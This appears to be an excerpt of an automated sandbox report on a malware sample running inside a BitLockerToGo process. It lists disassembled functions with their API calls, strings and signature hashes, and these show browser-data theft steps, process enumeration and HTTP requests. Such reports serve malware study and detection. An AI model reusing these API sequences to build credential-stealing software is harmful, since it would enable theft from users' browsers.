Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 59d7f5dace3051dd2daaf0b65378f4b27b48ffd08f91c147c83135c8a0ad729a
Instruction ID: 634aef621c4972884f087e19dee2b5055f7cb66968609e69f399a65ae41a1a98
Opcode Fuzzy Hash: 59d7f5dace3051dd2daaf0b65378f4b27b48ffd08f91c147c83135c8a0ad729a
Instruction Fuzzy Hash: 31118CB1E84205EBD714CFD9D94AFBBBBB8EB04B20F104619FA05A7280D77558048BA0

Function 027512A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 027512B4
RtlAllocateHeap.NTDLL(00000000), ref: 027512BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 027512D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 027512F5
RegCloseKey.ADVAPI32(?), ref: 027512FF

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8ba97315c56856b39065b62186dfe5f6df3620fbc9a3cbc94b2569f8ccacfc8e
Instruction ID: 92a68fe5e9d7ee482d1fda7674626bc7d630941082432f4a2d4060e3afee306f
Opcode Fuzzy Hash: 8ba97315c56856b39065b62186dfe5f6df3620fbc9a3cbc94b2569f8ccacfc8e
Instruction Fuzzy Hash: D70131B9E44208BBDB00DFE5DC5AFAEB7B8EB48711F008559FA05D7280D6759A118F90

Function 0275A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(029E4968,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,02760153), ref: 0275A0BD
LoadLibraryA.KERNEL32(029E55F8,?,?,?,?,?,?,?,?,?,?,?,02760153), ref: 0275A146

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A820: lstrlen.KERNEL32(00000000,?,?,02765B54,02770ADB,02770ADA,?,?,02766B16,00000000,?,029D0578,?,0277110C,?,00000000), ref: 0276A82B
Part of subcall function 0276A820: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A885

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

SetEnvironmentVariableA.KERNEL32(029E4968,00000000,00000000,?,027712D8,?,02760153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,02770AFE), ref: 0275A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0275A0B2, 0275A0C6, 0275A0DC

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 2ec94543d13028e925707535af1b06990d871c21f01b540016d9e832e024ac44
Instruction ID: aae388855ea6a943c1a6a4bff71b5d4ce5bdf4706c9a7a0efe18d200e646d8b4
Opcode Fuzzy Hash: 2ec94543d13028e925707535af1b06990d871c21f01b540016d9e832e024ac44
Instruction Fuzzy Hash: FA41A4B1D49204AFCB06DFACE85ABBE73B5FB48315F500929E905A3380EB755954CF60

Function 0275A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 02768B60: GetSystemTime.KERNEL32(?,029D9928,027705AE,?,?,?,?,?,?,?,?,?,02754963,?,00000014), ref: 02768B86

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0275A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0275A3FF
lstrlen.KERNEL32(00000000), ref: 0275A6BC

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 02759E10: memcmp.MSVCRT(?,v20,00000003), ref: 02759E2D

DeleteFileA.KERNEL32(00000000), ref: 0275A743

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 8364ac8ba92e2eebff7e93285bcc693a98ad22503bb60e1bd9a0fca0432cdbc5
Instruction ID: fab18015baca243e54138efd77b670fcf88407306736f9c53827d4b754f63682
Opcode Fuzzy Hash: 8364ac8ba92e2eebff7e93285bcc693a98ad22503bb60e1bd9a0fca0432cdbc5
Instruction Fuzzy Hash: 13E1CB72C101199ADB06FBA4DD9DEFEB37AAF14300F508569E91676090EF306A4DCFA4

Function 0275D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 02768B60: GetSystemTime.KERNEL32(?,029D9928,027705AE,?,?,?,?,?,?,?,?,?,02754963,?,00000014), ref: 02768B86

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0275D801
lstrlen.KERNEL32(00000000), ref: 0275D99F
lstrlen.KERNEL32(00000000), ref: 0275D9B3
DeleteFileA.KERNEL32(00000000), ref: 0275DA32

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fcf545cd816d66fe2cf150c80bb70362931835769434aef9eb134f041f1bcdde
Instruction ID: c791d04f666c698c02f0a2be14b71cb9ea7c60094c39dda93c4ccaaad25ab9e3
Opcode Fuzzy Hash: fcf545cd816d66fe2cf150c80bb70362931835769434aef9eb134f041f1bcdde
Instruction Fuzzy Hash: D881E8729101199ADB06FBA4DDADEFE737AEF14300F504529E907B6090EF346A09CFA5

Function 0275F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 027599EC
Part of subcall function 027599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 02759A11
Part of subcall function 027599C0: LocalAlloc.KERNEL32(00000040,?), ref: 02759A31
Part of subcall function 027599C0: ReadFile.KERNEL32(000000FF,?,00000000,027602E7,00000000), ref: 02759A5A
Part of subcall function 027599C0: LocalFree.KERNEL32(027602E7), ref: 02759A90
Part of subcall function 027599C0: CloseHandle.KERNEL32(000000FF), ref: 02759A9A

Part of subcall function 02768E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 02768E52

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,02771580,02770D92), ref: 0275F54C
lstrlen.KERNEL32(00000000), ref: 0275F56B

Strings

^userContextId=4294967295, xrefs: 0275F59C
moz-extension+++, xrefs: 0275F5AD

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 9c44c6c9b011823a75f5f223e1a46002f220b67edd9c18e50e634eb4cfdb8477
Instruction ID: 37a5b049bcae17860562bbb5c834953eb11633c8f4c6112d14c58e6cb1062bd0
Opcode Fuzzy Hash: 9c44c6c9b011823a75f5f223e1a46002f220b67edd9c18e50e634eb4cfdb8477
Instruction Fuzzy Hash: 5951FC71D10209AADB06FFA4DC9DDFE777AAF54300F508528ED16B6190EE346A09CFA1

Function 02768680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,027705B7), ref: 027686CA
Process32First.KERNEL32(?,00000128), ref: 027686DE
Process32Next.KERNEL32(?,00000128), ref: 027686F3

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

CloseHandle.KERNEL32(?), ref: 02768761

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 7f5a66e9df71a8fcf3f5367436d09579517e7dfd613802220f18f965de71b002
Instruction ID: 9ed9476ff1157322614234342ec38ee5ca7fe2d9697643738632f27543d299d5
Opcode Fuzzy Hash: 7f5a66e9df71a8fcf3f5367436d09579517e7dfd613802220f18f965de71b002
Instruction Fuzzy Hash: 1131A071901219ABDB25DF94CC59FFEB7B9EF04700F0041A9E90AB2190DB306A45CFA0

Function 02766AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,029D0578,?,0277110C,?,00000000,?,02771110,?,00000000,02770AEF), ref: 02766ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02766AE8
CloseHandle.KERNEL32(00000000), ref: 02766AF9
Sleep.KERNEL32(00001770), ref: 02766B04
CloseHandle.KERNEL32(?,00000000,?,029D0578,?,0277110C,?,00000000,?,02771110,?,00000000,02770AEF), ref: 02766B1A
ExitProcess.KERNEL32 ref: 02766B22

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 8a88d461f6ee0c7dfca0a35243b9ead601def5d6fc49fa93f04d37ad1738c799
Instruction ID: 3d373f7a09483cfb28cba8214882f4390c5967a0eb54da0945f6f0821b165537
Opcode Fuzzy Hash: 8a88d461f6ee0c7dfca0a35243b9ead601def5d6fc49fa93f04d37ad1738c799
Instruction Fuzzy Hash: F4F05870E8420AEFE711BBA0DC1EBBE7B39EB04701F908915AD06A11C0CBB65540CAA9

Function 027651F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 02756280: InternetOpenA.WININET(02770DFE,00000001,00000000,00000000,00000000), ref: 027562E1
Part of subcall function 02756280: StrCmpCA.SHLWAPI(?,029E4B88), ref: 02756303
Part of subcall function 02756280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02756335
Part of subcall function 02756280: HttpOpenRequestA.WININET(00000000,GET,?,029E5F38,00000000,00000000,00400100,00000000), ref: 02756385
Part of subcall function 02756280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 027563BF
Part of subcall function 02756280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 027563D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 02765228

Strings

ERROR, xrefs: 02765273
ERROR, xrefs: 0276521A

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

